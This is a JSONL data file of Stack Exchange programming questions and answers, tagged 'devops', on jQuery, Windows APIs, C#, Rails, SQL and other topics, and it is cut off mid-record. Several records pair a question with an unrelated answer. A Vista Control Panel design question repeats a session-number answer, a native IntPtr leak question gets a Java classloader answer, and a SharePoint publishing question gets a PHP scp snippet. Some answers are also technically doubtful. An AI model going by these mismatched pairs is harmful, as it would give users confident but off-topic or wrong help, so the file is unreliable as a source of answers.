{"id": "hf_56551aee07bf", "question": "<p>Here's the quick and skinny of my issue:</p>\n\n<pre>$(\"a\").toggle(function() { /*function A*/ }, function() { /*function B*/ });</pre>\n\n<p>Inside <code>function A</code> a form is displayed.  If the user successfully completes the form, the form is hidden again (returning to it's original state).</p>\n\n<p>Inside <code>function B</code> the same form is hidden.</p>\n\n<p>The theory behind this is that the user can choose to display the form and fill it out, or they can click again and have the form go back into hiding.  </p>\n\n<p>Now my question is this: currently, if the user fills out the form successfully--and it goes into hiding--the user would have to click on the link <strong><em>twice</em></strong> before returning to the toggle state that displays the form.</p>\n\n<p>Is there anyway to programmatically reset the toggle switch to its initial state?</p>\n", "question_body": "", "answer": "jQuery has two\n```\n.toggle()\n```\nmethods:\n```\n.toggle()\n```\nToggles each of the set of matched\n  elements. If they are shown, toggle\n  makes them hidden. If they are hidden,\n  toggle makes them shown.\n```\n.toggle(even, odd)\n```\nToggle between two function calls every other click.\nIn this case you want the first one. Something like this should do the trick:\n```\n```\n$(\"a\").click(function() {\n    $(\"#theForm\").toggle();\n});\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:28.002199"}
{"id": "hf_6764fdd55893", "question": "<p>In Windows Server 2003, how I can check if my program is running in local console (\"on the screen of the server machine\") instead of remote session?</p>\n\n<p>I'm using Delphi Win32, so any Windows API based method should work..</p>\n", "question_body": "", "answer": "Wouldn't the session number tell you this ?\nProcessIdToSessionId (GetCurrentProcessId(),&dwSessionNum)\nYou'd have to check the OS version as well, using GetVersionEx: for everything up to XP/Server 2003 session 0 is local (service or interactive console), anything higher is virtual. For Vista/2008 session 0 and 1 are both local (0 is service, 1 is console), everything else is virtual.\nI'm guessing your Delphi units would declare the session number as var, so you wouldn't need the ampersand.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:28.040562"}
{"id": "hf_bff8bc8bd190", "question": "<p>I was playing a bit with Windows Vista (still using XP) and I liked how the standard Control Panel worked. Do you think this design is good also for normal applications?</p>\n\n<p>I like the idea of showing main topics with large fonts + icons. Details within each main topic are displayed using a small font and are immediatelly accessible without the need to browse the menu. Probably everybody knows Vista, but anyway, <a href=\"http://www.computerperformance.co.uk/images/Vista/control_panel2.jpg\" rel=\"nofollow noreferrer\">here</a> is the Control Panel layout.</p>\n\n<p>Compared to a classic layout of icons for main topics and menu for minor topics, the Control Panel GUI seems to be good at first sight.</p>\n\n<p>I haven't seen any app using this kind of GUI, so I don't know if I should rather use the common approach with icons and menu for a common application? Maybe this Control Panel GUI is suitable only for setting some options, other than working with any data?</p>\n", "question_body": "", "answer": "Wouldn't the session number tell you this ?\nProcessIdToSessionId (GetCurrentProcessId(),&dwSessionNum)\nYou'd have to check the OS version as well, using GetVersionEx: for everything up to XP/Server 2003 session 0 is local (service or interactive console), anything higher is virtual. For Vista/2008 session 0 and 1 are both local (0 is service, 1 is console), everything else is virtual.\nI'm guessing your Delphi units would declare the session number as var, so you wouldn't need the ampersand.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:28.064811"}
{"id": "hf_e86ff9040982", "question": "<p>I've got two collections (generic Lists), let's call them ListA and ListB.</p>\n\n<p>In ListA I've got a few items of type A. In ListB I've got some items of type B that have the SAME ID (but not same type) as the items in ListA, plus many more. I want to remove all the items from ListB that have the same ID as the ones in ListA. What's the best way of doing this? Is Linq to objects a nice fit? What algorithm would you use?</p>\n\n<p>Example</p>\n\n<p>ListA: ItemWithID1, ItemWithID2¨</p>\n\n<p>ListB: ItemWithID1, ItemWithID2, ItemWithID3, ItemWithID4</p>\n\n<p>EDIT: I forgot to mention in my original question that ListA and ListB doesn't contain the same types. So the only way to compare them is through the .Id property. Which invalidates the answers I've gotten so far.</p>\n", "question_body": "", "answer": "simple loop:\n```\n```\nfor (item i: LISTA) {\n    removeItem(i, LISTB);\n}\n\nmethod removeItem(Item, List) {\n    for (Item i: List) {\n        if (Item == i)\n            List.removeItem(i);\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:28.087653"}
{"id": "hf_e9f4965939c1", "question": "<p>Let's say you have several maintenance branches for existing releases of your software. Some developers are making direct changes in the maintenance branches, and merging periodically into the trunk. Now comes an extensive refactoring in the trunk codeline, scheduled for an upcoming major release. But this makes the maintenance branches fundamentally incompatible with the code in the trunk, as they might depend on code that does not exist anymore, for example.</p>\n\n<p>How do you deal with this situation in practise?</p>\n", "question_body": "", "answer": "At the point that your maintenance branches are no longer compatible with the main trunk, it would be time to create new branches for that purpose. That is, at the start of the big project, you make sure all your developers are aware that new functionality is coming in the main trunk, so that they can make a better choice of where to implement fixes. Presumably, if the code changes occurring in the main trunk are so significant as to render the maintenance non-supportable, then the maintenance should be incorporated into the main trunk.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:28.150130"}
{"id": "hf_c3713df4f748", "question": "<p>I have a managed dll that calls into a native library.  This native library generally returns IntPtrs.  These can be passed in to other methods in the native library to do things, or to tell the library to free the instance associated with the IntPtr.  But only some of the instances need to freed in this way, others are managed by the library.  The problem is that the documentation is not always clear about which instances must be freed and which must not.</p>\n\n<p>What I want to know is if there is a way that I can tell if my code has kept references to any of the pointers which must be freed, and so is causing memory to leak?</p>\n", "question_body": "", "answer": "Sounds like a classloader hierarchy problem. I can't tell what type of environment your application is deployed in, but sometimes this problem can occur in a web environment - where the application server creates a hierarchy of classloaders, resembling something like:\njavahome/lib - as root\nappserver/lib - as child of root\nwebapp/WEB-INF/lib - as child of child of root\netc\nUsually classloaders delegate loading to their parent classloader (this is known as \"\n```\nparent-first\n```\n\"), and if that classloader cannot find the class, then the child classloader attempts to. For example, if a class deployed as a JAR in webapp/WEB-INF/lib tries to load a class, first it asks the classloader corresponding to appserver/lib to load the class (which in turn asks the classloader corresponding to javahome/lib to load the class), and if this lookup fails, then WEB-INF/lib is searched for a match to this class.\nIn a web environment, you can run into problems with this hierarchy. For example, one mistake/problem I've run into before was when a class in WEB-INF/lib depended on a class deployed in appserver/lib, which in turn depended on a class deployed in WEB-INF/lib. This caused failures because while classloaders are able to delegate to the parent classloader, they cannot delegate back down the tree. So, the WEB-INF/lib classloader would ask appserver/lib classloader for a class, appserver/lib classloader would load that class and try to load the dependent class, and fail since it could not find that class in appserver/lib or javahome/lib.\nSo, while you may not be deploying your app in a web/app server environment, my too-long explanation might apply to you if your environment has a hierarchy of classloaders set up. Does it? Is JPF doing some sort of classloader magic to be able to implement it's plugin features?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:28.249931"}
{"id": "hf_47481644459d", "question": "<p>Where is a reliable registry key to find install location of Excel 2007?</p>\n", "question_body": "", "answer": "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Office\\12.0\\Excel\\InstallRoot\\", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:28.356024"}
{"id": "hf_9b4f2ada690d", "question": "<p>I am writing a web application that will run in kiosk mode on a touch screen. I am currently only targeting it for running on Firefox 3. A few of the use cases I have need to visit external sites. I wish to do so with an embedded browser, which I'm tackling with the help of an <code>&lt;iframe&gt;</code>. I need back/forward buttons for the embedded home page. </p>\n\n<p>I've managed to access the history object of the iframe with</p>\n\n<pre><code>var w = document.getElementById('embeddedBrowser').contentWindow;\nw.history.back();\n</code></pre>\n\n<p>The <code>history</code> of the embedded window is the same as that of the parent window. Therefore for a newly loaded <code>&lt;iframe&gt;</code>, this call will go back to the previous page of the system.</p>\n\n<p>Is there any way to avoid this or a more correct way of solving this?</p>\n", "question_body": "", "answer": "You might want to take a look at\nAdobe AIR\n. It lets you write your application using all the same tools / languages (ajax, html, etc etc), but since it runs as a desktop app and not in a web browser, you have more control over things, such as embedding browser frames and knowing exactly what they are doing, what URL it's going to, controlling it's history, etc.\nLook here\nfor a few pointers on getting started.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:28.377984"}
{"id": "hf_cea3debf0721", "question": "<p>I need to search a string and replace all occurrences of <code>%FirstName%</code> and <code>%PolicyAmount%</code> with a value pulled from a database. The problem is the capitalization of FirstName varies. That prevents me from using the <code>String.Replace()</code> method. I've seen web pages on the subject that suggest</p>\n\n<pre><code>Regex.Replace(strInput, strToken, strReplaceWith, RegexOptions.IgnoreCase);\n</code></pre>\n\n<p>However for some reason when I try and replace <code>%PolicyAmount%</code> with <code>$0</code>, the replacement never takes place. I assume that it has something to do with the dollar sign being a reserved character in regex. </p>\n\n<p>Is there another method I can use that doesn't involve sanitizing the input to deal with regex special characters?</p>\n", "question_body": "", "answer": "```\n```\nRegex.Replace(strInput, strToken.Replace(\"$\", \"[$]\"), strReplaceWith, RegexOptions.IgnoreCase);\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:28.401154"}
{"id": "hf_c0b7397dc968", "question": "<p>I'm sure this is a relatively simple question, and there must be a good sensible rails way of doing it, but I'm not sure what it is.</p>\n\n<p>Basically I'm adding books to a database, and I want to store the Author in a separate table. So I have a table called authors which is referenced by the table books.</p>\n\n<p>I want to create a rails form for adding a book, and I'd like it to be just a simple form for Author, Title, Publisher etc, and if it finds the author already in the authors table then it should just reference that record, and if it isn't in the authors table then it should add a new record and reference it.</p>\n\n<p>I'm sure there's an easy way of doing this in rails - but I can't seem to find it.</p>\n\n<p>Cheers,</p>\n\n<p>Robin</p>\n", "question_body": "", "answer": "Assuming that your form passes an author_name and a book hash with the book attributes, you could do the following in your controller:\n```\n```\n@author = Author.find_or_create_by_name(params[:author_name])\n@book = Book.new(params[:book])\n@book.author = @author\n@book.save\n```\n```\nThis will find an author by that name, or create one, then assign that author to the book that's created.\nNote: This also assumes that authors can be uniquely identified by their name, and this usually isn't the case.  There could be multiple guys namned \"Steven King\" out there, for instance, and only one of them wrote\nThe Shining", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:28.440096"}
{"id": "hf_8895f5961845", "question": "<p>This is baffling me, maybe somebody can shine the light of education on my ignorance.  This is in a C# windows app. I am  accessing the contents of a listbox from a thread.  When I try to access it like this<pre><code>prgAll.Maximum = lbFolders.SelectedItems.Count;</code></pre>\nI get the error.  However, here is the part I don't get.  If I comment out that line, the very next line<pre><code>foreach (string dir in lbFolders.SelectedItems)</code></pre>\nexecutes just fine.</p>\n\n<p>Edit:\nAs usual, my communication skills are lacking.  Let me clarify.</p>\n\n<p>I know that accessing GUI items from threads other than the ones they were created on causes problems.  I know the right way to access them is via delegate.</p>\n\n<p>My question was mainly this:\nWhy can I access and iterate through the SelectedItems object just fine, but when I try to get (not set) the Count property of it, it blows up.</p>\n", "question_body": "", "answer": "```\n```\nprgAll.Maximum = lbFolders.SelectedItems.Count;\n```\n```\nOn that line you perform an assignment (\nset/add\n), which by default is not thread-safe.\nOn the second line it's just a\nget\noperation, where thread-safety merely doesn't matter.\nEDIT: I don't mean access to the prgAll element.\nAccessing the Count property\nchanges the internal state\nof the ListBox inner collection, that is why it throws the exception.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:28.489624"}
{"id": "hf_d93151fc49ce", "question": "<p>I've got several developers about to start working on the front end of a jquery-based web application. How can we structure the application so that multiple developers can work on the ui at the same time. The end result for the user will just be one web \"page\", but I don't all of the client development to occur in one file. There is already another team working on the back end.</p>\n", "question_body": "", "answer": "If you're starting completely from scratch, you could break it up into the standard 3 tier architecture.\nHave one person working on the database structure and creating the appropriate access libraries to the data.\nHave one person working on the business/workflow tier, setting up all the interaction of data.\nHave the third person doing all of the front end work with jQuery.\nI'm sure following this there would be minimal collision, and each could work with some mock data/methods until the official stuff comes online.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:28.537676"}
{"id": "hf_3d78f8337a24", "question": "<p>I'm looking for the equivalent in Qt to <code>GetTickCount()</code></p>\n\n<p>Something that will allow me to measure the time it takes for a segment of code to run as in:</p>\n\n<pre><code>uint start = GetTickCount();\n// do something..\nuint timeItTook = GetTickCount() - start;\n</code></pre>\n\n<p>any suggestions?</p>\n", "question_body": "", "answer": "How about\n```\nQTime\n```\n?  Depending on your platform it should have 1 millisecond accuracy.  Code would look something like this:\n```\n```\nQTime myTimer;\nmyTimer.start();\n// do something..\nint nMilliseconds = myTimer.elapsed();\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:28.585956"}
{"id": "hf_4205d76e1926", "question": "<p>I know that <code>tan(angle)</code> gets me the tangent. But how do I do the \"reverse tangent\" so that I can get the angle given the length of both sides of the right triangle?</p>\n\n<p>I'm assuming there is a method for this in <code>math.h</code>?</p>\n", "question_body": "", "answer": "There should be an atan() function.\nFor example:\nhttp://www.acm.uiuc.edu/webmonkeys/book/c_guide/2.7.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:28.610049"}
{"id": "hf_bee06ccb9c75", "question": "<p>This is the css for setting the color for h1 text that is linked:</p>\n\n<p><div class=\"snippet\" data-lang=\"js\" data-hide=\"false\" data-console=\"true\" data-babel=\"false\">\r\n<div class=\"snippet-code\">\r\n<pre class=\"snippet-code-css lang-css prettyprint-override\"><code>.nav-left h1 a,\r\na:visited {\r\n  color: #055830;\r\n}</code></pre>\r\n<pre class=\"snippet-code-html lang-html prettyprint-override\"><code>&lt;div class=\"nav-left\"&gt;\r\n  &lt;h1&gt;&lt;a href=\"/index.php/housing/\"&gt;Housing&lt;/a&gt;&lt;/h1&gt;\r\n&lt;/div&gt;</code></pre>\r\n</div>\r\n</div>\r\n</p>\n\n<p>It does not look like it is working appropriately, any help is appreciated.</p>\n", "question_body": "", "answer": "What about:\n```\n```\n.nav-left h1 a:visited{\n    color:#055830;\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:28.645941"}
{"id": "hf_0a2b9cb3ced2", "question": "<p>I'm looking for an UPDATE statement where it will update a single duplicate row only and remain the rest (duplicate rows) intact \nas is, using ROWID or something else or other elements to utilize in Oracle SQL or PL/SQL?</p>\n\n<p>Here is an example duptest table to work with:</p>\n\n<pre><code>CREATE TABLE duptest (ID VARCHAR2(5), NONID VARCHAR2(5));\n</code></pre>\n\n<ul>\n<li><p>run one <code>INSERT INTO duptest VALUES('1','a');</code> </p></li>\n<li><p>run four (4) times <code>INSERT INTO duptest VALUES('2','b');</code> </p></li>\n</ul>\n\n<p>Also, the first duplicate row has to be updated (not deleted), always, whereas the other three (3) have to be remained as is!</p>\n\n<p>Thanks a lot,\nVal.</p>\n", "question_body": "", "answer": "Will this work for you:\n```\n```\nupdate duptest \nset nonid = 'c'\nWHERE ROWID IN (SELECT   MIN (ROWID)\n                              FROM duptest \n                          GROUP BY id, nonid)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:28.670178"}
{"id": "hf_2c1009d47601", "question": "<p>Can someone explain what this means?</p>\n\n<pre><code>int (*data[2])[2];\n</code></pre>\n", "question_body": "", "answer": "What are the parentheses for?\nIn C brackets [] have a higher precedence than the asterisk *\nGood explanation from Wikipedia:\nTo declare a variable as being a\n  pointer to an array, we must make use\n  of parentheses. This is because in C\n  brackets ([]) have higher precedence\n  than the asterisk (*). So if we wish to declare a pointer to an array, we need to supply parentheses to override this:\n```\n```\ndouble (*elephant)[20];\n```\n```\nThis declares that elephant is a\n  pointer, and the type it points at is\n  an array of 20 double values.\nTo declare a pointer to an array of\n  pointers, simply combine the\n  notations.\n```\n```\nint *(*crocodile)[15];\n```\n```\nSource\n.\nAnd your actual case:\n```\n```\nint (*data[2])[5];\n```\n```\ndata is an array of 2 elements.  Each element contains a pointer to an array of 5 ints.\nSo you you could have in code using your 'data' type:\n```\n```\nint (*data[2])[5];\nint x1[5];\ndata[0] = &x1;\ndata[1] = &x1;\n\ndata[2] = &x1;//<--- out of bounds, crash data has no 3rd element\nint y1[10];\ndata[0] = &y1;//<--- compiling error, each element of data must point to an int[5] not an int[10]\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:28.705570"}
{"id": "hf_892645ddd8ca", "question": "<p>Does <code>YUI</code> have selector methods like jQuery?</p>\n\n<p>e.g. get me all div's that are <code>children</code> of <code>&lt;table&gt;</code> that have links in them?</p>\n", "question_body": "", "answer": "Check the\nYUI Selector Utility\n, it gives you\nCSS3\nselector sintax, it still in beta but works quite well, check this example:\nYAHOO.util.Selector.query", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:28.741391"}
{"id": "hf_8768ec622845", "question": "<p>I'm a confused newbie and hobbyist programmer trying to get a grip on this, so forgive me if my question is a little off or doesn't make much sense.</p>\n\n<p>I see a lot of questions on SO revolving around the use of design patterns, and I'm wondering if anyone has a good resources for learning about, and implementing design patterns? I understand the general idea, and know how/when to use a couple of them(Singletons, Factory methods) but I know I'm missing out.</p>\n\n<p>(Just in case it matters, my language of preference is C# but I could learn from examples in other languages)</p>\n", "question_body": "", "answer": "Head First Design Patterns\nand the\nDesign Pattern Wikipedia page\nare the best resources for beginners.\nFluffyCat\nis another good, free online resource for design patterns in both\nJava\nand\nPHP\n.\nThe\nGang of Four book\nis where to go afterward, but it's fairly advanced, so I'd wait until you have a pretty firm grasp from the other resources.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:28.764947"}
{"id": "hf_02827b4a177f", "question": "<p>I am currently publishing code behind .aspx in SharePoint. I can automatically publish the .dll to the bin folder of the virtual directory, but I cannot figure out how to push the .aspx pages and images to the server without manually using SharePoint Designer.</p>\n\n<p>Where does the folder exist?</p>\n\n<p>Or do I need to create a SharePoint feature for this?</p>\n", "question_body": "", "answer": "Why not use\nshell_exec\nand\nscp\n?\n```\n```\n<?php\n    $output = shell_exec('scp file1.txt dvader@deathstar.com:somedir');\n    echo \"<pre>$output</pre>\";\n?>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:28.848413"}
{"id": "hf_7e02561afe0d", "question": "<p>So this might be really simple, but I haven't been able to find any examples to learn off of yet, so please bear with me. ;) </p>\n\n<p>Here's basically what I want to do:</p>\n\n<pre><code>&lt;div&gt;Lots of content! Lots of content! Lots of content! ...&lt;/div&gt;\n\n.... \n\n$(\"div\").html(\"Itsy-bitsy bit of content!\");\n</code></pre>\n\n<p>I want to smoothly animate between the dimensions of the div with lots of content to the dimensions of the div with very little when the new content is injected.</p>\n\n<p>Thoughts?</p>\n", "question_body": "", "answer": "maybe something like this?\n```\n```\n$(\".testLink\").click(function(event) {\n    event.preventDefault();\n    $(\".testDiv\").hide(400,function(event) {\n        $(this).html(\"Itsy-bitsy bit of content!\").show(400);\n    });\n});\n```\n```\nClose to what I think you wanted, also try slideIn/slideOut or look at the UI/Effects plugin.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:28.872578"}
{"id": "hf_c35d498c893c", "question": "<p>I have the following <code>before_filter</code>:</p>\n\n<pre><code>  def find_current_membership\n    respond_to do |wants|\n      wants.html { @current_membership = @group.memberships.for(@current_user) }\n      wants.rss  {}\n      wants.js   { @current_membership = @group.memberships.for(@current_user) }\n    end\n  end\n</code></pre>\n\n<p>I would like to share the code for the HTML and JS blocks.  Is there a better way than just throwing the code into a method?  I was hoping this would work:</p>\n\n<pre><code>  def find_current_membership\n    respond_to do |wants|\n      wants.rss  {}\n      wants.all  { @current_membership = @group.memberships.for(@current_user) }\n    end\n  end\n</code></pre>\n\n<p>But alas, it did not.</p>\n", "question_body": "", "answer": "In this case you could probably do something like:\n```\n```\nbefore_filter :only => :find_current_membership do |c|\n    load_current_membership if not request.format.rss?\nend\n```\n```\nAlternatively you could use the request.format.rss? in your controller method to conditionally load the memberships.\nEither way your first step should be to refactor that into a method.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:28.921073"}
{"id": "hf_f8213a04f1c4", "question": "<p>I have a c# site which makes use of a lot of images with embedded english text.  </p>\n\n<p>How can I use a standard resource file to swap out images depending on the language?</p>\n\n<p>I have a resx file in my App_GlobalResources directory, but I can't seem to get it plugged into an asp:image control for the imageurl correctly.</p>\n\n<p>Ideas?</p>\n\n<p><strong>UPDATE:</strong> </p>\n\n<p>For some further information, here is the image tag code:</p>\n\n<pre><code>&lt;asp:image runat=\"server\" ID=\"img2\" ImageUrl=\"&lt;%$Resources: Resource, cs_logo %&gt;\" /&gt;\n</code></pre>\n\n<p>The result on the client side is:</p>\n\n<pre><code>&lt;img id=\"img2\" src=\"System.Drawing.Bitmap\" style=\"border-width:0px;\" /&gt;\n</code></pre>\n\n<p>Note that the source is obviously not what I expected...</p>\n", "question_body": "", "answer": "you can store the url of the image in your resource file and use the following inline code in the control\n```\n```\n<asp:Image ImageUrl=\"<%$resources:Image1 %>\" />\n```\n```\nUpdate\nthis\nlink\ncould be helpful on what you are trying to accomplish\nor\nyou can also try to stored the resource as string and set the value to the url location instead of storing the image in the resouce file.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:28.968664"}
{"id": "hf_a149fef21717", "question": "<p>Simple question really - how do I use <code>text_field_with_auto_complete</code> inside a <code>form_for</code> block?</p>\n\n<p>I've tried doing <code>f.text_field_with_auto_complete</code> but that gives an error, and just using <code>text_field_with_auto_complete</code> by itself doesn't seem to do anything.</p>\n\n<p>Am I missing something here?</p>\n", "question_body": "", "answer": "If your intent is to set a id field, you must:\nrender the results in LI items, each li having it DOM id set up to the id of the returned record, like this:\n```\n```\n<UL>\n       <LI ID=\"1\">Item 1</LI>\n       < LI ID=\"2\">Item 2< /LI>\n</UL>\n```\n```\nYour text field would be something like:\n```\n```\n<%= text_field_with_auto_complete :model, :method, {}, :after_update_element => ‘getSelectionId’ % >\n```\n```\nand a javascript method called getSelectionId like this\n```\n```\nfunction getSelectionId(text, li) {\n\nalert (li.id);\n\n}\n```\n```\nnote that you can do anything via javascript since you have the text and the li element available.\nAnother option is\nthis plugin", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:28.992046"}
{"id": "hf_3dbce5543b5a", "question": "<p>For my web service component, I need to generate a relatively large XML (~500 lines) according to many factors. I am facing a few different choices here:\n1. StringBuilder\n2. XmlWriter class\n3. C# object with serialization???</p>\n\n<p>Which one should I use. Is there any other ways that I am not aware of?</p>\n", "question_body": "", "answer": "I generate an RSS feed very simply using LINQ to XML. It's the nicest XML API I know of, to be honest.\nI have a a couple of extension methods which I use to make it even easier - it converts from an anonymous type to either elements or attributes:\n```\n```\npublic static IEnumerable<XElement> AsXElements(this object source)\n  {\n      foreach (PropertyInfo prop in source.GetType().GetProperties())\n      {\n          object value = prop.GetValue(source, null);\n          yield return new XElement(prop.Name.Replace(\"_\", \"-\"), value);\n      }\n  }\n\n  public static IEnumerable<XAttribute> AsXAttributes(this object source)\n  {\n      foreach (PropertyInfo prop in source.GetType().GetProperties())\n      {\n          object value = prop.GetValue(source, null);\n          yield return new XAttribute(prop.Name.Replace(\"_\", \"-\"), value ?? \"\");\n      }\n  }\n```\n```\nThat may not be at all appropriate for you, but I find it really handy. Of course, this assumes you're using .NET 3.5...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:29.019682"}
{"id": "hf_f2a83de658dd", "question": "<p>I'm having some problems with the ranking used by fulltext search in SQL Server.</p>\n\n<p>Suppose a user searches for two words, \"foo bar\".  We assume the user intends to do an OR search, so we pass \"foo OR bar\" to our CONTAINSTABLE call.  What we're finding is that an row that contains \"foo\" 10 times but does not contain \"bar\" will have a much higher rank then an row that that has both \"foo\" and \"bar\".\n  We would want the row that has both terms to be preferred over a row that only has one term multiple times.  Any advice on how to achieve this?</p>\n\n<p>I have found documentation related to a RANKMETHOD modifier, but that seems to be for SQL Enterprise search only, and not available on regular SQL Server 2005 installs.  We could also switch to Lucene.Net, but I would hope to verify it has the better ranking available.  We might also do multiple searches and merge the results, but that seems undesireable as the number of words searched for increases.</p>\n", "question_body": "", "answer": "I did a short discussion on Inverted Indexes and Cosine Ranking (the core algorithms and data structures of full-text retrieval systems)\nHere.\nOn a pure cosine ranking, foo (1), bar (1) should be closer to the vector occupied by foo, bar than foo (10), bar (0).  One can fiddle the cosine value post-hoc, which is essentially what\nPagerank\ndoes.  If the full-text search is fiddling the cosine ranking after calculating the dot product rather than weighting the axes, this would explain the disproportionate significance of foo.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:29.078652"}
{"id": "hf_a9a9a0583472", "question": "<p>We are re-platforming for a client, and they are concerned about SEO. Their current site supports SEO friendly URLs, and so does the new platform. So for those, we are just going to create the same URL mapping. However, they have a large number of other URLs that are not SEO friendly that they want to permanently redirect. These do not follow a similar pattern, so one regex in an .htaccess won't cut it. What is the best way to handle this on a LAMP stack? The application has a front controller too, so I need to make sure that works along with the hard redirects.</p>\n", "question_body": "", "answer": "One approach (the one\nI chose\n) was to create a simple table of old urls and new ones, and then use\nmod_rewrite\nto read the table and perform redirects.  The table can live in a file external to the Apache config.\nAlternatively, you could write a script to query a database if you wanted the table to live in a database.\nThis means you either need to manually create the mapping, or write some script to output this mapping file.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, 